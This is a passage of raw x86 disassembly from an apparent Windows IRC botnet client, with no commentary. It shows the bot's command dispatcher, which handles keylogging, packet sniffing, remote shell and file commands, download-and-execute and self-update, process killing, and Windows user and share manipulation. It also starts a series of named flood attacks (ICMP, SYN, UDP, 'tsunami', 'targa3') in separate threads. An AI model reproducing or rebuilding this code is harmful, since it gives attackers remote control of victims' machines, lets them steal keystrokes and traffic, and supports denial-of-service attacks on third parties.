eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 10h loc_405628: ; CODE XREF: .nsp0:00405525j ; .nsp0:00405532j push dword ptr [ebp+18h] push offset aMix ; "mix" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40574B cmp [ebp+esi-88h], ebx jz loc_40574B push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset aJoinS ; "join %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 push dword ptr [ebp+esi-88h] lea eax, [ebp-2C0h] push offset dword_4320B8 push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 20h call sub_41BF92 cdq mov ecx, 514h idiv ecx push edx call edi ; dword_427064 push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 14h call sub_41BF92 cdq mov ecx, 514h idiv ecx push edx call edi ; dword_427064 push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 14h call sub_41BF92 cdq mov ecx, 514h idiv ecx push edx call edi ; dword_427064 push offset aCyber_0 ; "CYBER" lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 14h loc_40574B: ; CODE XREF: .nsp0:00405639j ; .nsp0:00405646j push dword ptr [ebp+18h] push offset aRegister ; "register" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_405791 mov eax, [ebp+esi-84h] cmp eax, ebx jz short loc_405791 push eax lea eax, [ebp-2C0h] push dword ptr [ebp+esi-88h] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax call sub_417D85 add esp, 14h loc_405791: ; CODE XREF: .nsp0:0040575Cj ; .nsp0:00405767j push dword ptr [ebp+18h] push offset aOff ; "off" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40624A mov edi, offset dword_4DA28C loc_4057AD: ; CODE XREF: .nsp0:004057CCj cmp dword ptr [edi-4], 1 jnz short loc_4057C0 mov eax, [edi] cmp eax, ebx jbe short loc_4057C0 push eax call dword_4D1288 ; closesocket loc_4057C0: ; CODE XREF: .nsp0:004057B1j ; .nsp0:004057B7j add edi, 210h cmp edi, offset dword_4E09AC jl short loc_4057AD cmp [ebp-8], ebx jnz loc_40624A push ebx push dword ptr [ebp-4] push offset unk_432028 push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 14h jmp loc_40624A ; --------------------------------------------------------------------------- loc_4057F6: ; CODE XREF: .nsp0:00404CA5j mov edi, [ebp+10h] push edi push offset aNick_0 ; "nick" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4096C8 push edi push offset aN ; "n" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4096C8 push edi push offset aJoin ; "join" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4096A4 push edi push offset aJ ; "j" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4096A4 push edi push offset aPart_0 ; "part" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_409687 push edi push offset aPt ; "pt" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_409687 push edi push offset aRaw ; "raw" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40964E push edi push offset aR ; "r" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40964E push edi push offset aKillthread ; "killthread" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40954E push edi push offset aK ; "k" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40954E push edi push offset aC_quit ; "c_quit" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4094A0 push edi push offset aC_q ; "c_q" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4094A0 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_409451 push edi push offset aC_rn ; "c_rn" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_409451 push edi push offset aPrefix ; "prefix" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_409438 push edi push offset aPr ; "pr" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_409438 push edi push offset aOpen ; "open" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40940A push edi push offset aO ; "o" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40940A push edi push offset aServer ; "server" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4093E1 push edi push offset aSe ; "se" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4093E1 push edi push offset aDns ; "dns" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_409376 push edi push offset aDn ; "dn" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_409376 push edi push offset aKillproc ; "killproc" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_409346 push edi push offset aKp ; "kp" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_409346 push edi push offset aKill ; "kill" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4092E7 push edi push offset aKi ; "ki" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4092E7 push edi push offset aDelete ; "delete" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4092AF push edi push offset aDel ; "del" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4092AF push edi push offset aGet ; "get" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4091CC push edi push offset aGt ; "gt" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4091CC push edi push offset aList ; "list" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4091AD push edi push offset aLi ; "li" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4091AD push edi push offset aVisit ; "visit" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4090BC push edi push offset aV ; "v" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4090BC push edi push offset aMirccmd ; "mirccmd" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_409046 push edi push offset aMirc ; "mirc" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_409046 push edi push offset aCmd ; "cmd" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408FF0 push edi push offset aCm ; "cm" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408FF0 push edi push offset aReadfile ; "readfile" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408F65 push edi push offset aRf ; "rf" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408F65 push edi push offset aPsniff ; "psniff" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_405C90 push dword ptr [ebp+18h] push offset aOn ; "on" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_405C56 push 20h call sub_40B256 test eax, eax pop ecx jle short loc_405B83 push offset dword_431F58 jmp loc_406E94 ; --------------------------------------------------------------------------- loc_405B83: ; CODE XREF: .nsp0:00405B77j mov eax, [ebp+0Ch] mov esi, [ebp+esi-88h] mov [ebp-0EC4h], eax mov eax, [ebp-4] mov [ebp-0E3Ch], eax mov eax, [ebp-8] cmp esi, ebx mov [ebp-0E38h], eax jnz short loc_405BC5 mov esi, offset aM_0 ; "#M" push offset byte_443398 push esi call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_405BC5 mov esi, [ebp-88h] loc_405BC5: ; CODE XREF: .nsp0:00405BA7j ; .nsp0:00405BBDj push esi lea eax, [ebp-0EC0h] push 80h push eax call sub_41C030 lea eax, [ebp-2C0h] push offset dword_431F28 push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 20h push eax call sub_40B00E add esp, 20h mov [ebp-0E40h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0EC4h] push ebx push eax push offset loc_4125D7 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-0E40h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_405C45 loc_405C2F: ; CODE XREF: .nsp0:00405C43j cmp [ebp-0E34h], ebx jnz loc_40820E push 32h call dword_427064 ; Sleep jmp short loc_405C2F ; --------------------------------------------------------------------------- loc_405C45: ; CODE XREF: .nsp0:00405C2Dj call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_431EEC jmp loc_406E7B ; --------------------------------------------------------------------------- loc_405C56: ; CODE XREF: .nsp0:00405B67j push dword ptr [ebp+18h] push offset aOff ; "off" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40820E push ebx push 20h call sub_40B209 pop ecx cmp eax, ebx pop ecx jle short loc_405C86 push eax push offset dword_431EB0 jmp loc_406E7B ; --------------------------------------------------------------------------- loc_405C86: ; CODE XREF: .nsp0:00405C79j push offset dword_431E84 jmp loc_406E94 ; --------------------------------------------------------------------------- loc_405C90: ; CODE XREF: .nsp0:00405B50j push edi push offset aSniffer ; "sniffer" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_405DDF push dword ptr [ebp+18h] push offset aOn ; "on" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_405DA5 push 21h call sub_40B256 test eax, eax pop ecx jle short loc_405CD2 push offset unk_431E5C jmp loc_406E94 ; --------------------------------------------------------------------------- loc_405CD2: ; CODE XREF: .nsp0:00405CC6j mov eax, [ebp+0Ch] mov esi, [ebp+esi-88h] mov [ebp-0FECh], eax mov eax, [ebp-4] mov [ebp-0F64h], eax mov eax, [ebp-8] cmp esi, ebx mov [ebp-0F60h], eax jnz short loc_405D14 mov esi, offset aM_0 ; "#M" push offset byte_443398 push esi call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_405D14 mov esi, [ebp-88h] loc_405D14: ; CODE XREF: .nsp0:00405CF6j ; .nsp0:00405D0Cj push esi lea eax, [ebp-0FE8h] push 80h push eax call sub_41C030 lea eax, [ebp-2C0h] push offset unk_431E2C push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 21h push eax call sub_40B00E add esp, 20h mov [ebp-0F68h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0FECh] push ebx push eax push offset loc_412C62 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-0F68h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_405D94 loc_405D7E: ; CODE XREF: .nsp0:00405D92j cmp [ebp-0F5Ch], ebx jnz loc_40820E push 32h call dword_427064 ; Sleep jmp short loc_405D7E ; --------------------------------------------------------------------------- loc_405D94: ; CODE XREF: .nsp0:00405D7Cj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_431DF0 jmp loc_406E7B ; --------------------------------------------------------------------------- loc_405DA5: ; CODE XREF: .nsp0:00405CB6j push dword ptr [ebp+18h] push offset aOff ; "off" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40820E push ebx push 21h call sub_40B209 pop ecx cmp eax, ebx pop ecx jle short loc_405DD5 push eax push offset unk_431DB0 jmp loc_406E7B ; --------------------------------------------------------------------------- loc_405DD5: ; CODE XREF: .nsp0:00405DC8j push offset unk_431D80 jmp loc_406E94 ; --------------------------------------------------------------------------- loc_405DDF: ; CODE XREF: .nsp0:00405C9Fj push edi push offset aKeylog ; "keylog" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_405F59 push dword ptr [ebp+18h] push offset aOn ; "on" call sub_41C710 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405E55 push dword ptr [ebp+18h] push edi call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_405E55 push dword ptr [ebp+18h] push offset aOff ; "off" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40820E push ebx push 23h call sub_40B209 pop ecx cmp eax, ebx pop ecx jle short loc_405E4B push eax push offset dword_431D3C jmp loc_406E7B ; --------------------------------------------------------------------------- loc_405E4B: ; CODE XREF: .nsp0:00405E3Ej push offset dword_431D10 jmp loc_406E94 ; --------------------------------------------------------------------------- loc_405E55: ; CODE XREF: .nsp0:00405E0Aj ; .nsp0:00405E19j push 23h call sub_40B256 test eax, eax pop ecx jle short loc_405E6B push offset dword_431CF0 jmp loc_406E94 ; --------------------------------------------------------------------------- loc_405E6B: ; CODE XREF: .nsp0:00405E5Fj mov eax, [ebp+0Ch] push dword ptr [ebp+18h] mov [ebp-0C5Ch], eax mov eax, [ebp-4] push edi mov [ebp-0BD4h], eax call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_405E98 mov dword ptr [ebp-0BD0h], 1 jmp short loc_405EA1 ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: .nsp0:00405E8Aj mov eax, [ebp-8] mov [ebp-0BD0h], eax loc_405EA1: ; CODE XREF: .nsp0:00405E96j mov esi, [ebp+esi-88h] cmp esi, ebx jnz short loc_405EC8 mov esi, offset aM ; "#M" push offset byte_443398 push esi call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_405EC8 mov esi, [ebp-88h] loc_405EC8: ; CODE XREF: .nsp0:00405EAAj ; .nsp0:00405EC0j push esi lea eax, [ebp-0C54h] push 80h push eax call sub_41C030 lea eax, [ebp-2C0h] push offset dword_431CCC push eax call sub_41BF36 push ebx lea eax, [ebp-2C0h] push 23h push eax call sub_40B00E add esp, 20h mov [ebp-0C58h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0C5Ch] push ebx push eax push offset loc_4122F6 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-0C58h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_405F48 loc_405F32: ; CODE XREF: .nsp0:00405F46j cmp [ebp-0BCCh], ebx jnz loc_40820E push 32h call dword_427064 ; Sleep jmp short loc_405F32 ; --------------------------------------------------------------------------- loc_405F48: ; CODE XREF: .nsp0:00405F30j call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_431C90 jmp loc_406E7B ; --------------------------------------------------------------------------- loc_405F59: ; CODE XREF: .nsp0:00405DEEj push edi push offset aNet ; "net" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_4061F6 cmp dword_4D12C0, ebx jz short loc_405F88 cmp dword_4D12E8, ebx jz short loc_405F88 push offset unk_431C58 jmp loc_40854F ; --------------------------------------------------------------------------- loc_405F88: ; CODE XREF: .nsp0:00405F74j ; .nsp0:00405F7Cj cmp [ebp-0Ch], ebx jz loc_406C65 mov edi, [ebp+esi-88h] mov [ebp+8], ebx cmp edi, ebx jz short loc_405FAD push edi push dword ptr [ebp-0Ch] call sub_41BFB0 pop ecx mov [ebp+8], eax pop ecx loc_405FAD: ; CODE XREF: .nsp0:00405F9Dj push dword ptr [ebp+18h] push offset aStart ; "start" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_406014 cmp edi, ebx jz short loc_405FE8 push dword ptr [ebp+8] push 3 loc_405FC9: ; CODE XREF: .nsp0:0040602Cj ; .nsp0:00406046j ... call sub_418F5A push eax lea eax, [ebp-2C0h] push offset aS_2 ; "%s" push eax call sub_41BF36 add esp, 14h jmp loc_406C65 ; --------------------------------------------------------------------------- loc_405FE8: ; CODE XREF: .nsp0:00405FC2j push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_419201 add esp, 0Ch test eax, eax jz short loc_40600A push offset unk_431C34 jmp loc_40854F ; --------------------------------------------------------------------------- loc_40600A: ; CODE XREF: .nsp0:00405FFEj push offset unk_431C14 jmp loc_40854F ; --------------------------------------------------------------------------- loc_406014: ; CODE XREF: .nsp0:00405FBEj push dword ptr [ebp+18h] push offset aStop ; "stop" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40602E push dword ptr [ebp+8] push 4 jmp short loc_405FC9 ; --------------------------------------------------------------------------- loc_40602E: ; CODE XREF: .nsp0:00406025j push dword ptr [ebp+18h] push offset aPause ; "pause" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_406048 push dword ptr [ebp+8] push 5 jmp short loc_405FC9 ; --------------------------------------------------------------------------- loc_406048: ; CODE XREF: .nsp0:0040603Fj push dword ptr [ebp+18h] push offset aContinue ; "continue" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_406065 push dword ptr [ebp+8] push 6 jmp loc_405FC9 ; --------------------------------------------------------------------------- loc_406065: ; CODE XREF: .nsp0:00406059j push dword ptr [ebp+18h] push offset aDelete ; "delete" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_406082 push dword ptr [ebp+8] push 1 jmp loc_405FC9 ; --------------------------------------------------------------------------- loc_406082: ; CODE XREF: .nsp0:00406076j push dword ptr [ebp+18h] push offset aShare ; "share" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_4060FC cmp edi, ebx jz short loc_4060CF cmp [ebp-8FCh], bl jz short loc_4060A7 push ebx push edi push 1 jmp short loc_4060B0 ; --------------------------------------------------------------------------- loc_4060A7: ; CODE XREF: .nsp0:0040609Fj push dword ptr [ebp+esi-84h] push edi push ebx loc_4060B0: ; CODE XREF: .nsp0:004060A5j call sub_41933E push eax lea eax, [ebp-2C0h] push offset aS_2 ; "%s" push eax call sub_41BF36 add esp, 18h jmp loc_406C65 ; --------------------------------------------------------------------------- loc_4060CF: ; CODE XREF: .nsp0:00406097j push ebx push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_419533 add esp, 10h test eax, eax jz short loc_4060F2 push offset unk_431BD8 jmp loc_40854F ; --------------------------------------------------------------------------- loc_4060F2: ; CODE XREF: .nsp0:004060E6j push offset unk_431BB8 jmp loc_40854F ; --------------------------------------------------------------------------- loc_4060FC: ; CODE XREF: .nsp0:00406093j push dword ptr [ebp+18h] push offset aUser ; "user" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp-8FCh], bl jz short loc_406131 push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] push ebx push edi push 1 jmp short loc_406151 ; --------------------------------------------------------------------------- loc_406131: ; CODE XREF: .nsp0:0040611Dj push dword ptr [ebp-4] mov esi, [ebp+esi-84h] cmp esi, ebx push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] jz short loc_40614D push esi push edi push ebx jmp short loc_406151 ; --------------------------------------------------------------------------- loc_40614D: ; CODE XREF: .nsp0:00406146j push ebx push edi push 2 loc_406151: ; CODE XREF: .nsp0:0040612Fj ; .nsp0:0040614Bj call sub_419654 push eax lea eax, [ebp-2C0h] push offset aS_2 ; "%s" push eax call sub_41BF36 add esp, 24h jmp loc_406C65 ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: .nsp0:00406115j push ebx push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_419B68 add esp, 10h test eax, eax jz short loc_406193 push offset unk_431B90 jmp loc_40854F ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: .nsp0:00406187j push offset unk_431B70 jmp loc_40854F ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: .nsp0:0040610Dj push dword ptr [ebp+18h] push offset aSend ; "send" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_4061EC cmp edi, ebx jz short loc_4061E2 push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call loc_419E1C push eax lea eax, [ebp-2C0h] push offset aS_2 ; "%s" push eax call sub_41BF36 add esp, 1Ch jmp loc_406C65 ; --------------------------------------------------------------------------- loc_4061E2: ; CODE XREF: .nsp0:004061B2j push offset unk_431B44 jmp loc_40854F ; --------------------------------------------------------------------------- loc_4061EC: ; CODE XREF: .nsp0:004061AEj push offset unk_431B28 jmp loc_40854F ; --------------------------------------------------------------------------- loc_4061F6: ; CODE XREF: .nsp0:00405F68j push edi push offset aCapture ; "capture" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408D3A push edi push offset aCap ; "cap" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408D3A push edi push offset aGethost ; "gethost" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408C4C push edi push offset aGh ; "gh" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408C4C loc_40624A: ; CODE XREF: .nsp0:004057A2j ; .nsp0:004057D1j ... mov edi, [ebp+esi-88h] cmp edi, ebx mov [ebp+28h], edi jz loc_401D6C push dword ptr [ebp+10h] push offset aKilllog ; "killlog" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408C32 push dword ptr [ebp+10h] push offset aKl ; "kl" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408C32 push dword ptr [ebp+10h] push offset aAddalias ; "addalias" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408BF1 push dword ptr [ebp+10h] push offset aAa ; "aa" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408BF1 push dword ptr [ebp+10h] push offset aPrivmsg_0 ; "privmsg" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408B97 push dword ptr [ebp+10h] push offset dword_4321D4 call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408B97 push dword ptr [ebp+10h] push offset aAction ; "action" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408B25 push dword ptr [ebp+10h] push offset aA_0 ; "a" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408B25 push dword ptr [ebp+10h] push offset aCycle ; "cycle" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408AC1 push dword ptr [ebp+10h] push offset aCy ; "cy" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408AC1 push dword ptr [ebp+10h] push offset aMode ; "mode" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408A83 push dword ptr [ebp+10h] push offset aM_1 ; "m" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408A83 push dword ptr [ebp+10h] push offset aC_raw ; "c_raw" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408A17 push dword ptr [ebp+10h] push offset aC_r ; "c_r" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408A17 push dword ptr [ebp+10h] push offset aC_mode ; "c_mode" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408994 push dword ptr [ebp+10h] push offset aC_m ; "c_m" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408994 push dword ptr [ebp+10h] push offset aC_nick ; "c_nick" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408927 push dword ptr [ebp+10h] push offset aC_n ; "c_n" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408927 push dword ptr [ebp+10h] push offset aC_join ; "c_join" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408901 push dword ptr [ebp+10h] push offset aC_j ; "c_j" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408901 push dword ptr [ebp+10h] push offset aC_part ; "c_part" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40889D push dword ptr [ebp+10h] push offset aC_p ; "c_p" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_40889D push dword ptr [ebp+10h] push offset aTarga3 ; "targa3" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4087CB push dword ptr [ebp+10h] push offset aT3 ; "t3" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4087CB push dword ptr [ebp+10h] push offset aTsunami ; "tsunami" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4086D3 push dword ptr [ebp+10h] push offset aTsn ; "tsn" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4086D3 push dword ptr [ebp+10h] push offset aRepeat ; "repeat" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4085FF push dword ptr [ebp+10h] push offset aRp ; "rp" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4085FF push dword ptr [ebp+10h] push offset aDelay ; "delay" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408562 push dword ptr [ebp+10h] push offset aDe ; "de" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408562 push dword ptr [ebp+10h] push offset aUpdate ; "update" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4083D7 push dword ptr [ebp+10h] push offset aU11p ; "u11p" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4083D7 push dword ptr [ebp+10h] push offset aExecute ; "execute" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408344 push dword ptr [ebp+10h] push offset aE ; "e" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408344 push dword ptr [ebp+10h] push offset aFindfile ; "findfile" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408238 push dword ptr [ebp+10h] push offset aFf ; "ff" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_408238 push dword ptr [ebp+10h] push offset aRename ; "rename" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4081C2 push dword ptr [ebp+10h] push offset aMv ; "mv" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4081C2 push dword ptr [ebp+10h] push offset aIcmpflood ; "icmpflood" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4080CB push dword ptr [ebp+10h] push offset aIcmp ; "icmp" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_4080CB mov eax, [ebp+esi-84h] cmp eax, ebx mov [ebp+8], eax jz loc_401D6C push dword ptr [ebp+10h] push offset aClone_0 ; "clone" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407FE3 push dword ptr [ebp+10h] push offset aC ; "c" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407FE3 push dword ptr [ebp+10h] push offset aUsa_syn ; "usa.syn" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407EEA push dword ptr [ebp+10h] push offset aUsa_ack ; "usa.ack" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407EEA push dword ptr [ebp+10h] push offset aUsa_rm ; "usa.rm" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407EEA push dword ptr [ebp+10h] push offset aWisdom_udp ; "wisdom.udp" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40675D push 7Fh lea eax, [ebp-327Ch] pop esi push esi push dword ptr [ebp+18h] push eax call sub_41BCA0 push esi lea eax, [ebp-31FCh] push edi push eax call sub_41BCA0 push esi lea eax, [ebp-317Ch] push dword ptr [ebp+8] push eax call sub_41BCA0 push esi lea eax, [ebp-30FCh] push dword ptr [ebp-88h] push eax call sub_41BCA0 mov eax, [ebp-8] mov edi, [ebp-4] mov esi, [ebp+0Ch] mov [ebp-3074h], eax push ebx lea eax, [ebp-2C0h] push 13h push eax mov [ebp-3078h], edi mov [ebp-3280h], esi call sub_40B00E add esp, 3Ch mov [ebp-307Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3280h] push ebx push eax push offset dword_414CC0 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-307Ch] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_40674C loc_406736: ; CODE XREF: .nsp0:0040674Aj cmp [ebp-3070h], ebx jnz loc_403ED6 push 32h call dword_427064 ; Sleep jmp short loc_406736 ; --------------------------------------------------------------------------- loc_40674C: ; CODE XREF: .nsp0:00406734j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_4319D0 jmp loc_403EC7 ; --------------------------------------------------------------------------- loc_40675D: ; CODE XREF: .nsp0:0040668Aj push dword ptr [ebp+10h] push offset aSyod ; "syod" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407E02 push dword ptr [ebp+10h] push offset aSy1 ; "sy1" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407E02 push dword ptr [ebp+10h] push offset aSkysyn ; "skysyn" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40688A push 7Fh lea eax, [ebp-36A4h] pop esi push esi push dword ptr [ebp+18h] push eax call sub_41BCA0 push esi lea eax, [ebp-3624h] push edi push eax call sub_41BCA0 push esi lea eax, [ebp-35A4h] push dword ptr [ebp+8] push eax call sub_41BCA0 push esi lea eax, [ebp-3524h] push dword ptr [ebp-88h] push eax call sub_41BCA0 push dword ptr [ebp+8] mov eax, [ebp-4] mov esi, [ebp+0Ch] mov [ebp-34A0h], eax mov eax, [ebp-8] push edi push dword ptr [ebp+18h] mov [ebp-349Ch], eax lea eax, [ebp-2C0h] mov [ebp-36A8h], esi push offset dword_43198C push eax call sub_41BF36 add esp, 44h lea eax, [ebp-2C0h] push ebx push 10h push eax call sub_40B00E add esp, 0Ch mov [ebp-34A4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-36A8h] push ebx push eax push offset byte_413C25 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-34A4h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_406879 loc_406863: ; CODE XREF: .nsp0:00406877j cmp [ebp-3498h], ebx jnz loc_407202 push 32h call dword_427064 ; Sleep jmp short loc_406863 ; --------------------------------------------------------------------------- loc_406879: ; CODE XREF: .nsp0:00406861j call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_431950 jmp loc_4071F3 ; --------------------------------------------------------------------------- loc_40688A: ; CODE XREF: .nsp0:0040679Cj push dword ptr [ebp+10h] push offset aPhatwonk ; "phatwonk" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407D1A push dword ptr [ebp+10h] push offset aWonk ; "wonk" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407D1A push dword ptr [ebp+10h] push offset aDownload1 ; "download1" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_407BDF push dword ptr 